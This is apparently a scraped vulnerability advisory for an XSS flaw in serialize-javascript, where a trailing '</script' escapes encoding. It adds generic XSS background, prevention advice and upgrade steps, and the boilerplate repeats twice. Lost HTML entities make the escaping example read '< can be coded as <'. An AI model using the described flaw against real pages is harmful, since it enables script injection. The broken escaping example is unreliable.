Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript to version 7.1.3 or higher.
References
low severity
new
- Vulnerable module: serialize-javascript
- Introduced through: enmap@5.9.10
Detailed paths
-
Introduced through: karma-simple@shikhir-arora/karma-simple › enmap@5.9.10 › serialize-javascript@6.0.2Remediation: Upgrade to enmap@6.0.0.
Overview
serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via escapeFunctionBody() in index.js, which escapes each function body in isolation and therefore fails to detect a </script sequence that appears at the very end of a serialized function body. Because the regex SCRIPT_CLOSE_REGEXP did not anchor to end-of-string, a function body terminating with the bare prefix </script was emitted unescaped, allowing a subsequent serialized value to supply the closing > and inject arbitrary markup into the surrounding HTML page.
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade serialize-javascript to version 7.1.3 or higher.